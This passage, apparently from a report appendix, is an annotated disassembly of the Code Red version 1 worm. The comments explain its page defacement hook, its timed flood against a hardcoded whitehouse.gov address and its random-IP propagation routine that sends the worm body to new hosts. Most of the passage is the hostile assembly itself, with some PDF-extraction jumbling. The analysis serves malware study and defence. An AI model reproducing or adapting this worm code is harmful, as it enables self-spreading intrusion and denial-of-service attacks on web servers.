edx, [ecx+10h] [ebp-1B0h], edx; set response to check at ebp-1b0 dword ptr [ebp-1B0h], 0 ; Compare Two Operands short loc_599 ; if it’s not 0, then go here esi, esp ; Get Ready to call a function 0 ; push a null eax, [ebp-1B4h]; load eax to the addr of ebp-1b4, set to 4 eax ; push the addr on the stack ecx, [ebp-198h]; load eax to the addr of ebp-198, set to data segment ; right after the funcnames ecx ; push it edx, [ebp+8] ; set edx with ebp+8 pointer eax, [edx+8] ; load eax with the data at edx+8 eax ; push eax dword ptr [ebp-194h] ; call WriteClient in WAM esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 ; CODE XREF: DO_RVA+34Dj dword ptr [ebp-1B0h], 64h ; ’d’ ; check is 64 is in ebp-1b0 short TOO_MANY_THREADS ; branch here if more than 100 are running ecx, [ebp-1B0h]; set ecx to number of threads ecx, 1 ; increment the number of open threads [ebp-1B0h],ecx ; store the new value of threadcount edx, [ebp-1B0h]; set thread count into edx edx, 50F0668Dh ; Signed Multiply [ebp-18Ch], edx; store the new val at ebp-18c eax, [ebp+8] ; load eax with the isapi extension block ecx, [ebp-1B0h]; load ecx with the threadcount [eax+10h], ecx ; store threadcount in the isapi extension block esi, esp edx, [ebp-1D4h]; Load Effective Address edx ; LPDWORD lpThreadId // thread identifier 0 ; DWORD dwCreationFlags // creation option eax, [ebp-1B4h]; Load Effective Address eax ; LPVOID lpParameter // thread argument ecx, [ebp-130h]; Load Effective Address ecx ; LPTHREAD_START_ROUTINE lpStartAddress ; // thread function 0 ; DWORD dwStackSize // initial stack size 0 ; LPSECURITY_ATTRIBUTES lpThreadAttributes // SD dword ptr [ebp-168h] ; CreateThread esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 DO_THE_WORK ; this exits from sub 224, ; not positive of the end result. ; CODE XREF: DO_RVA+37Cj esi, esp ; setup a func dword ptr [ebp-15Ch] ; GetSystemDefaultLangId esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1
60
C. CODE-RED VERSION 1 inc dec mov mov and mov cmp jz jmp
IS_AMERICAN: mov push call
DO_RVA
cmp nop inc dec inc dec jmp endp
ebx ; Increment by 1 ebx ; Decrement by 1 [ebp-1B4h], eax; put default system languageid in ebp-1b4 edx, [ebp-1B4h] edx, 0FFFFh ; Logical AND [ebp-1B4h], edx dword ptr [ebp-1B4h], 409h ; Compare Two Operands short IS_AMERICAN ; if not english go DO_THE_WORK ; this exits from sub 224, ; not positive of the end result. ; CODE XREF: DO_RVA+40Bj esi, esp 6DDD00h ; this is 2 hours dword ptr [ebp-160h] ; Sleep ; This Sleeps for 2 hours esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 HACK_PAGE_JUMP ; this sets up the hacked page bit
; SUBROUTINE ; pop the stack into the counter HACK_PAGE proc pop mov mov mov mov mov mov mov mov mov mov jmp
near ; CODE XREF: seg000:00000CCFp dword ptr [ebp-1B4h] eax, [ebp-1CCh]; load eax with the current dll base address ; (probably w3svc) [ebp-134h], eax; store base at ebp-134 ecx, [ebp-1B4h]; load thecounter into ecx edx, [ebp-150h]; load edx with tcpsocksend [ecx], edx ; store tcpsocksend at the address popped from the stack eax, [ebp-1B4h]; load eax with the address popped from the stack ecx, [ebp-138h]; load ecx with close socket [eax+4], ecx ; the next addr after the one popped is replaced ; with closesocket edx, [ebp-198h]; store data pointer in edx [ebp-1B0h], edx; store data pointer at ebp-1b0 short GET_HTML ; Jump
GET_HTML_INC: mov 83 C0 01 mov
; CODE XREF: HACK_PAGE+70j eax, [ebp-1B0h]; Get the next byte to compare to add eax, 1 ; Add [ebp-1B0h], eax
GET_HTML:
; CODE XREF: HACK_PAGE+3Bj ecx, [ebp-198h] ecx, 100h ; Add [ebp-1B0h], ecx; compare shifted URL to HTML short FOUND_HTML ; load eax with the data segment edx, [ebp-1B0h] dword ptr [edx], 48544D4Ch ; look for HTML short GET_HTML_INC_JUMP ; Jump if Not Zero (ZF=0) short FOUND_HTML ; load eax with the data segment
mov add cmp jnb mov cmp jnz jmp GET_HTML_INC_JUMP:
; CODE XREF: HACK_PAGE+6Cj
61
C. CODE-RED VERSION 1 jmp FOUND_HTML: mov add mov mov mov lea push push push mov push call cmp nop inc dec inc dec mov jmp
short GET_HTML_INC ; Get the next byte to compare to ; CODE XREF: HACK_PAGE+5Ej ; HACK_PAGE+6Ej eax, [ebp-1B0h]; load eax with the data segment eax, 4 ; Add ecx, [ebp-1B4h]; set ecx with the counter [ecx+8], eax esi, es p ; move the web data into the request return edx, [ebp-1B8h]; Load Effective Address edx ; set ebp-1b8 to receive the old page protection 4 ; make page readwrte 4000h ; for 4000 hex bytes eax, [ebp-134h]; stored write address for w3svc eax dword ptr [ebp-158h] ; VirtualProtect esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 dword ptr [ebp-1B4h], 0 ; reset counter to 0 short TCPSOCKSEND_FIND ; check if counter is 3000h yet
TCPSOCKSEND_FIND_INC: ; CODE XREF: HACK_PAGE+123j mov ecx, [ebp-1B4h] add ecx, 1 ; Add mov [ebp-1B4h], ecx TCPSOCKSEND_FIND: cmp jge mov add mov cmp jnz mov add mov mov mov push call cmp nop inc dec inc dec mov add mov mov jmp
; CODE XREF: HACK_PAGE+B2j dword ptr [ebp-1B4h], 3000h ; check if counter is 3000h yet short RESET_MEM_PROTECTION ; go here if it is edx, [ebp-134h]; set edx to the base edx, [ebp-1B4h]; add the offset from counter eax, [edx] ; store the value at the offset into eax eax, [ebp-150h]; check ebp-150 against eax(tcpsocksend) short TCPSOCKSEND_FIND_INC_JUMP ; jump here on a not match ecx, [ebp-134h]; load base into ecx ecx, [ebp-1B4h]; set ecx to the address of tcpsocksend edx, [ebp-1A0h]; set edx to o.C98 [ecx], edx ; replace the call to TCPSOCKSEND to o.C98 esi, esp 2255100h ; sleep for a long time dword ptr [ebp-160h] ; Sleep esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 eax, [ebp-134h]; set eax to the base of the loaded dll eax, [ebp-1B4h]; set eax to actual address of tcpsocksend ecx, [ebp-150h]; set ecx to tcpsocksend [eax], ecx ; replace the call to tcpsocksend with the original short RESET_MEM_PROTECTION ; RESET_MEM_PROTECTION
TCPSOCKSEND_FIND_INC_JUMP: ; CODE XREF: HACK_PAGE+E3j jmp short TCPSOCKSEND_FIND_INC ; Jump RESET_MEM_PROTECTION:
; CODE XREF: HACK_PAGE+CDj ; HACK_PAGE+121j
62
C. CODE-RED VERSION 1 mov lea push mov push push mov push call cmp nop inc dec inc dec
esi, esp ; RESET_MEM_PROTECTION edx, [ebp-1B4h]; Load Effective Address edx eax, [ebp-1B8h] eax 4000h ecx, [ebp-134h] ecx dword ptr [ebp-158h] ; VirtualProtect esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1
DO_THE_WORK:
; ; ; ; ; ;
CODE XREF: DO_RVA+3D5j DO_RVA+40Dj ... this exits from sub 224, not positive of the end result. if edx ==0, then jump down to c91 This is a tight loop
; ; ; ; ; ; ; ; ; ;
HANDLE hTemplateFile // handle to template file DWORD dwFlagsAndAttributes // file attributes this is FILE_ATTRIBUTE_NORMAL DWORD dwCreationDisposition // how to create this is for OPEN_EXISTING LPSECURITY_ATTRIBUTES lpSecurityAttributes // SD DWORD dwShareMode // share mode this equates to FILE_SHARE_READ DWORD dwDesiredAccess // access mode this is for GENERIC_READ
mov
edx, 1
test jz mov push push
edx, edx TIGHT_LOOP esi, esp 0 80h ; ’.’
push
3
push push
0 1
push
80000000h
mov add push call cmp nop inc dec inc dec mov cmp jz
eax, [ebp-198h] eax, 63h ; ’c’ ; this points eax to c:\notworm eax ; LPCTSTR lpFileName // file name dword ptr [ebp-164h] ; CreateFileA esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 [ebp-1D0h], eax dword ptr [ebp-1D0h], 0FFFFFFFFh ; Compare Two Operands short NOTWORM_NO ; jump if Createfile failed
NOTWORM_YES: mov test jz mov push call cmp nop inc dec inc dec jmp
; CODE XREF: HACK_PAGE+1B2j ecx, 1 ecx, ecx ; Logical Compare short NOTWORM_NO ; Jump if Zero (ZF=1) esi, esp 7FFFFFFFh ; push a LONG time(basically forever) dword ptr [ebp-160h] ; Sleep esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 short NOTWORM_YES ; Jump
63
C. CODE-RED VERSION 1 NOTWORM_NO: mov lea push call cmp nop inc dec inc dec mov mov mov and mov cmp jl
; CODE XREF: HACK_PAGE+193j ; HACK_PAGE+19Cj esi, esp edx, [ebp-1C8h]; LPSYSTEMTIME lpSystemTime // system time edx dword ptr [ebp-16Ch] ; GetSystemTime esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 eax, [ebp-1C2h]; load eax with day and hour, UTC [ebp-1B4h], eax; store day in ebp-1b4 ecx, [ebp-1B4h]; set ecx to day and hour UTC ecx, 0FFFFh ; get lower word(hour, UTC) [ebp-1B4h], ecx; save the UTC hour at ebp-1b4 dword ptr [ebp-1B4h], 14h ; check if hour is less than 20 INFECT_HOST ; set seconds and milisecond to eax
TIME_GREATER_20: mov test jz mov lea push call cmp nop inc dec inc dec mov mov mov and mov cmp jl
; CODE XREF: HACK_PAGE+337j edx, 1 edx, edx ; Logical Compare INFECT_HOST ; set seconds and milisecond to eax esi, esp eax, [ebp-1C8h]; LPSYSTEMTIME lpSystemTime // system time eax dword ptr [ebp-16Ch] ; GetSystemTime esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 ecx, [ebp-1C2h]; load ecx with day and hour, UTC [ebp-1B4h], ecx; store ecx in ebp-1b4 edx, [ebp-1B4h] edx, 0FFFFh ; load edx with day and hour UTC [ebp-1B4h], edx dword ptr [ebp-1B4h], 1Ch ; check if hour is less than 28 short WHITEHOUSE_SOCKET_SETUP ; Jump if Less (SF!=OF)
NEVER_CALLED1: mov
eax, 1
test jz mov push call cmp nop inc dec inc dec jmp
; CODE XREF: HACK_PAGE+25Cj ; this code is self referential and is never called, ; as far as can be seen eax, eax ; Logical Compare short WHITEHOUSE_SOCKET_SETUP ; Jump if Zero (ZF=1) esi, esp 7FFFFFFFh dword ptr [ebp-160h] ; Sleep esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 short NEVER_CALLED1 ; this code is self referential and is never ; called, as far as can be seen
WHITEHOUSE_SOCKET_SETUP: mov
; CODE XREF: HACK_PAGE+23Dj ; HACK_PAGE+246j
esi, esp
64
C. CODE-RED VERSION 1 push call cmp nop inc dec inc dec mov push push push call cmp nop inc dec inc dec mov mov mov mov mov push lea push mov push call cmp nop inc dec inc dec mov jmp
64h ; ’d’ dword ptr [ebp-160h] ; Sleep esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 esi, esp 0 ; int protocol 1 ; fam 2 ; pr dword ptr [ebp-148h] ; socket esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 [ebp-188h], eax ; store sock descriptor word ptr [ebp-184h], 2 ; set afam word ptr [ebp-182h], 5000h ; set port(80) dword ptr [ebp-180h], 5BF089C6h ; set ip (www.whitehouse.gov) esi, esp 10h ; push len ecx, [ebp-184h]; push sockaddr ecx edx, [ebp-188h]; push sock descriptor edx dword ptr [ebp-144h] ; connect esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 dword ptr [ebp-1B4h], 0 ; store 0 at ebp-1b4 short WHITEHOUSE_SOCKET_SEND ; if counter >= 18000h jump
WHITEHOUSE_SOCKET_SEND_INC: ; CODE XREF: HACK_PAGE+321j mov eax, [ebp-1B4h] add eax, 1 ; in counter mov [ebp-1B4h], eax WHITEHOUSE_SOCKET_SEND: ; CODE XREF: HACK_PAGE+2CFj cmp dword ptr [ebp-1B4h], 18000h ; if counter >= 18000h jump jge short WHITEHOUSE_SLEEP_LOOP ; Jump if Greater or Equal (SF=OF) mov esi, esp push 3E8h call dword ptr [ebp-160h] ; Sleep cmp esi, esp ; Compare Two Operands nop ; No Operation inc ebx ; Increment by 1 dec ebx ; Decrement by 1 inc ebx ; Increment by 1 dec ebx ; Decrement by 1 mov esi, esp push 0 ; no flags push 1 ; send len 1 lea ecx, [ebp-104h]; addr of buf push ecx mov edx, [ebp-188h]; sock descriptor
65
C. CODE-RED VERSION 1 push call cmp nop inc dec inc dec jmp
edx dword ptr [ebp-140h] ; Send ; sends 1 byte esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 short WHITEHOUSE_SOCKET_SEND_INC ; jump back to send
WHITEHOUSE_SLEEP_LOOP: ; CODE XREF: HACK_PAGE+2EAj mov esi, esp push 1000000h ; sleep for around 4.66 hours call dword ptr [ebp-160h] ; Sleep cmp esi, esp ; Compare Two Operands nop ; No Operation inc ebx ; Increment by 1 dec ebx ; Decrement by 1 inc ebx ; Increment by 1 dec ebx ; Decrement by 1 jmp TIME_GREATER_20; Jump INFECT_HOST: mov mov mov imul imul mov imul mov add add mov mov imul add mov mov and mov cmp jz cmp jnz
; CODE XREF: HACK_PAGE+1EFj ; HACK_PAGE+1FCj eax, [ebp-1BCh]; set seconds and milisecond to eax [ebp-1B0h], eax; store at ebp-1b0 ecx, [ebp-1B0h]; load seconds and miliseconds to ecx ecx, [ebp-1B0h]; multiply by itself ecx, 0CD59E3h ; multiply by 0cd59e3 edx, [ebp-1B0h]; store sec/milisec inedx edx, 1E1B9h ; multiply sec/mil by 1e1b9 eax, [ebp-18Ch]; set eax to the threadcount eax, ecx ; add ecx(multiplier) to eax edx, eax ; add eax to edx [ebp-1B0h], edx; store new number at ebp-1b0 ecx, [ebp-18Ch]; load threadcount imul(o.5bd) into ecx ecx, 0CF3383h ; multiply it ecx, 76BFE53h ; add to it [ebp-18Ch], ecx; store it again edx, [ebp-18Ch]; set edx to the new val edx, 0FFh ; get the last byte [ebp-1B0h], edx; move the last byte to ebp-1b0 dword ptr [ebp-1B0h], 7Fh ; ’’ ; check if the byte is 7F short loc_A05 ; if it is, go here dword ptr [ebp-1B0h], 0E0h ; ’r’ ; check if the last byteis 0e0 short loc_A16 ; if it is not, go here
mov add mov
; eax, [ebp-18Ch]; eax, 20DA9h ; [ebp-18Ch], eax;
mov push call cmp nop inc dec inc
; CODE XREF: HACK_PAGE+3B4j esi, esp ; sleep for 100 ms 64h ; ’d’ ; 100 miliseconds dword ptr [ebp-160h] ; Sleep esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1
loc_A05:
loc_A16:
CODE XREF: HACK_PAGE+3A8j load eax with the ebp-18c val add 20da9 to it set the value to the new value
66
C. CODE-RED VERSION 1
s˜call
dec ebx ; Decrement by 1 mov esi, esp ; Create a socket push 0 ; int protocol push 1 ; int type push 2 ; int af call dword ptr [ebp-148h] ; socket cmp esi, esp ; Compare Two Operands nop ; No Operation inc ebx ; Increment by 1 dec ebx ; Decrement by 1 inc ebx ; Increment by 1 dec ebx ; Decrement by 1 mov [ebp-188h], eax; save the sock descriptor to ebp-188 mov word ptr [ebp-184h], 2 ; this sets up the socaddr struct mov word ptr [ebp-182h], 5000h mov ecx, [ebp-18Ch]; load ecx with the ip address mov [ebp-180h], ecx; set ebp-180 to the ipaddress mov esi, esp push 10h ; int namelen lea edx, [ebp-184h]; Load Effective Address push edx ; const struct sockaddr FAR *name mov eax, [ebp-188h] push eax ; SOCKET dword ptr [ebp-144h] ; connect cmp esi, esp ; Compare Two Operands nop ; No Operation inc ebx ; Increment by 1 dec ebx ; Decrement by 1 inc ebx ; Increment by 1 dec ebx ; Decrement by 1 test eax, eax ; check if the connect succeeded jnz SOCK_CLOSE_LOOP; if the connect failed goto closesocketloop mov esi, esp ; Send a ”GET ” push 0 push 4 mov ecx, [ebp-198h]; points to GET push ecx mov edx, [ebp-188h]; points to socket push edx call dword ptr [ebp-140h] ; send a GET cmp esi, esp ; Compare Two Operands nop ; No Operation inc ebx ; Increment by 1 dec ebx ; Decrement by 1 inc ebx ; Increment by 1 dec ebx ; Decrement by 1 mov dword ptr [ebp-1B4h], 0 ; store a 0 in 1b4 mov eax, [ebp+8] ; load isapi filter mov ecx, [eax+68h] ; set ecx to offset inside isapi filter mov [ebp-19Ch], ecx; store isapi pointer at ebp-19c jmp short SETUP_URL_TO_SEND ; load ecx with isapi offset
GET_NEXT_URL_BYTE: mov add mov mov add mov
; edx, [ebp-19Ch]; edx, 1 ; [ebp-19Ch], edx eax, [ebp-1B4h]; eax, 1 ; [ebp-1B4h], eax
CODE XREF: HACK_PAGE+49Cj increment the url pointer at ebp-19c Add inc counter Add
SETUP_URL_TO_SEND: ; CODE XREF: HACK_PAGE+46Fj mov ecx, [ebp-19Ch]; load ecx with isapi offset
67
C. CODE-RED VERSION 1 movsx test jz jmp SEND_URL: mov push mov push mov mov push mov push call cmp nop inc dec inc dec mov push push mov add push mov push call cmp nop inc dec inc dec mov mov mov mov jmp
edx, byte ptr [ecx] ; move the byte to edx edx, edx ; look for null short SEND_URL ; if it’s null, then go here short GET_NEXT_URL_BYTE ; else go here ; CODE XREF: HACK_PAGE+49Aj esi, esp 0 ; no flags eax, [ebp-1B4h] eax ; push size ecx, [ebp+8] edx, [ecx+68h] ; pointer to beginning of request edx eax, [ebp-188h]; push socket eax dword ptr [ebp-140h] ; send esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 esi, esp ; send ”?” query specifier 0 ; no flags 1 ; push size 1 ecx, [ebp-198h] ecx, 5 ; set pointer to 3f ecx edx, [ebp-188h]; push sock desc edx dword ptr [ebp-140h] ; send esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 dword ptr [ebp-1B4h], 0 ; set counter to 0 eax, [ebp+8] ; load headers ecx, [eax+64h] [ebp-19Ch], ecx; store headers addr at ebp-19c short SETUP_QUERY_TO_SEND ; Jump
GET_NEXT_QUERY_BYTE: ; mov edx, [ebp-19Ch]; add edx, 1 ; mov [ebp-19Ch], edx mov eax, [ebp-1B4h]; add eax, 1 ; mov [ebp-1B4h], eax
CODE XREF: HACK_PAGE+52Bj increment the memory pointer to the headers Add increment the counter Add
SETUP_QUERY_TO_SEND: ; CODE XREF: HACK_PAGE+4FEj mov ecx, [ebp-19Ch] movsx edx, byte ptr [ecx] ; Move with Sign-Extend test edx, edx ; Logical Compare jz short SEND_QUERY ; Jump if Zero (ZF=1) jmp short GET_NEXT_QUERY_BYTE ; increment the memory pointer ; to the headers SEND_QUERY: mov push
; CODE XREF: HACK_PAGE+529j esi, esp 0
; no flags
68
C. CODE-RED VERSION 1 mov push mov mov push mov push call cmp nop inc dec inc dec mov mov add mov jmp GET_NEXT_HEADERS: mov add mov mov add mov
eax, [ebp-1B4h]; push size of headers eax ecx, [ebp+8] edx, [ecx+64h] edx ; push addr pointing to headers eax, [ebp-188h] eax ; push sock descriptor dword ptr [ebp-140h] ; send ; send the headers esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 dword ptr [ebp-1B4h], 0 ; reset counter to 0 ecx, [ebp-198h]; set ebp-19c to our headers ecx, 7 ; Add [ebp-19Ch], ecx short SETUP_HEADERS_TO_SEND ; Jump ; CODE XREF: HACK_PAGE+599j edx, [ebp-19Ch] edx, 1 ; Add [ebp-19Ch], edx eax, [ebp-1B4h] eax, 1 ; Add [ebp-1B4h], eax
SETUP_HEADERS_TO_SEND: ; CODE XREF: HACK_PAGE+56Cj mov ecx, [ebp-19Ch] movsx edx, byte ptr [ecx] ; Move with Sign-Extend test edx, edx ; Logical Compare jz short SEND_HEADERS ; Jump if Zero (ZF=1) jmp short GET_NEXT_HEADERS ; Jump SEND_HEADERS: mov push mov push mov add push mov push call cmp nop inc dec inc dec mov mov mov mov push mov push mov mov
; CODE XREF: HACK_PAGE+597j esi, esp 0 eax, [ebp-1B4h]; push counted size eax ecx, [ebp-198h]; push addr of our headers ecx, 7 ; Add ecx edx, [ebp-188h]; push socket descriptor edx dword ptr [ebp-140h] ; send esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 eax, [ebp+8] ; get data request size ecx, [eax+70h] [ebp-1B4h], ecx; set counter to data request size esi, esp 0 ; no flags edx, [ebp-1B4h]; push request size edx eax, [ebp+8] ecx, [eax+78h] ; get and push data request
69
C. CODE-RED VERSION 1 push mov push call
cmp nop inc dec inc dec mov mov push push lea push mov push call cmp nop inc dec inc dec mov SOCK_CLOSE_LOOP: mov mov push call cmp nop inc dec inc dec
ecx edx, [ebp-188h]; push sock desc edx dword ptr [ebp-140h] ; send ; this sends the actual malicious code ; to the remote side esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 byte ptr [ebp-104h], 0 ; set ebp-104 to 0 esi, esp 0 ; no flags 100h ; set 100 len eax, [ebp-104h]; push addr of ebp-104 eax ecx, [ebp-188h]; push sockdesc ecx dword ptr [ebp-13Ch] ; recv ; receive a response from the remote side esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1 [ebp-1B4h], eax; set counter to data received from recv ; CODE XREF: HACK_PAGE+432j esi, esp edx, [ebp-188h] edx dword ptr [ebp-138h] ; closesocket esi, esp ; Compare Two Operands ; No Operation ebx ; Increment by 1 ebx ; Decrement by 1 ebx ; Increment by 1 ebx ; Decrement by 1
loc_C8C:
; this exits from sub 224, ; not positive of the end result. jmp
TIGHT_LOOP: jmp HACK_PAGE endp
JUMP_TABLE1: call jmp
DO_THE_WORK ; CODE XREF: DO_RVA+230j ; HACK_PAGE+155j ... short TIGHT_LOOP ; This is a tight loop
; CODE XREF: DataSetup+1Cj DO_RVA ; Call Procedure short HOOK_FAKE_TCPSOCKSEND ; ebp-1a0 it seems
; SUBROUTINE ; This is a fake tcpsocksend that replaces the current one. ; it serves to deliver the hacked page when inititalized FAKE_TCPSOCKSEND proc near
; CODE XREF: seg000:00000CCAp
70
C. CODE-RED VERSION 1 var_C arg_4
= dword ptr -0Ch = dword ptr 8
pop eax add eax, 5 ; Add push ebp push edi push ebx push esi push eax push 3Ch ; ’<’ mov esi, eax add esi, 0Ch ; Add push esi push 100h push dword ptr [eax+8] push [esp+20h+arg_4] call dword ptr [eax] ; Indirect Call Near Procedure pop eax push eax push [esp+24h+var_C] call dword ptr [eax+4] ; Indirect Call Near Procedure pop eax pop esi pop ebx pop edi pop ebp jmp dword ptr [eax]; Indirect Near Jump FAKE_TCPSOCKSEND endp db
90h
HOOK_FAKE_TCPSOCKSEND: call
HACK_PAGE_JUMP: call jmp PADDING_BYTES db 22h db 6Eh db 84h db 32h db 3 db 75h db 0B3h db 0CAh db 5Ah db 4 db 56h db 34h db 12h db 0B8h db 78h db 56h db 34h db 12h db 0B8h db 78h
; ; FAKE_TCPSOCKSEND ; ;
CODE XREF: seg000:00000C98j seg000:00000CD4Ej ; This is a fake tcpsocksend that replaces the current one. it serves to deliver the hacked page when inititalized
; CODE XREF: DO_RVA+426j HACK_PAGE ; this sets up the hacked page bit short near ptr HOOK_FAKE_TCPSOCKSEND+4 ; Jump
71
C. CODE-RED VERSION 1 db db db ; ; ; ;
56h 34h 12h
SUBROUTINE This function: sets up edi dynamically rewrites a bit of worm code to point to the head of the code
DO_REWRITE proc near ; pop eax push eax mov edi, [ebp-198h]; mov [edi-0Eh], eax ; retn ; DO_REWRITE endp
SELF_MODIFY1: mov add mov xor retn jmp WORMCONTINUE: call
CODE XREF: DO_RVA+29p
put an addr into edi dynamically rewrite jump addr at o.D02 Return Near from Procedure
; CODE XREF: seg000:00000D0Bj eax, [esp+0Ch] eax, 0B8h ; ’a `’ ; Add dword ptr [eax], 0CDF1DAh ; this is self modifiying code. ; the move value gets set to RVA LOOP(o 252) eax, eax ; Logical Exclusive OR ; Return Near from Procedure short SELF_MODIFY1 ; Jump
DataSetup
; CODE XREF: WORM+28j ; Call Procedure
aLoadlibrarya db ’LoadLibraryA’,0 aGetsystemtime db ’GetSystemTime’,0 aCreatethread db ’CreateThread’,0 aCreatefilea db ’CreateFileA’,0 aSleep db ’Sleep’,0 aGetsystemdefau db ’GetSystemDefaultLangID’,0 aVirtualprotect db ’VirtualProtect’,0 09 db 9 ; aInfocomm_dll db ’infocomm.dll’,0 aTcpsocksend db ’TcpSockSend’,0 db 9 ; aWs2_32_dll db ’WS2_32.dll’,0 aSocket db ’socket’,0 aConnect db ’connect’,0 aSend db ’send’,0 aRecv db ’recv’,0 db ’closesocket’,0 db 9 ; dll db ’w3svc.dll’,0 db 0 ; aGet db ’GET ’,0 db 3Fh ; ? db 0 ; aHttp1_ 0Content db ’ HTTP/1.0’,0Dh,0Ah db ’Content-type: text/xml’,0Ah db ’HOST:www.worm.com’,0Ah db ’ Accept: */*’,0Ah db ’Content-length: 3569 ’,0Dh,0Ah db 0Dh,0Ah,0 aCNotworm db ’c:\notworm’,0 aLmthHtmlHeadMe db ’LMTH’,0Dh,0Ah db ’<meta http-equiv=”Content-Type” content=”text/ht’
72
C. CODE-RED VERSION 1
seg000
db ’ml; charset=english”>HELLO!
Welcome to http://’ db ’www.worm.com !
Hacked By Chinese!
<’ db ’/html> ’ db ’ ’ db ’ ’ ends
end
73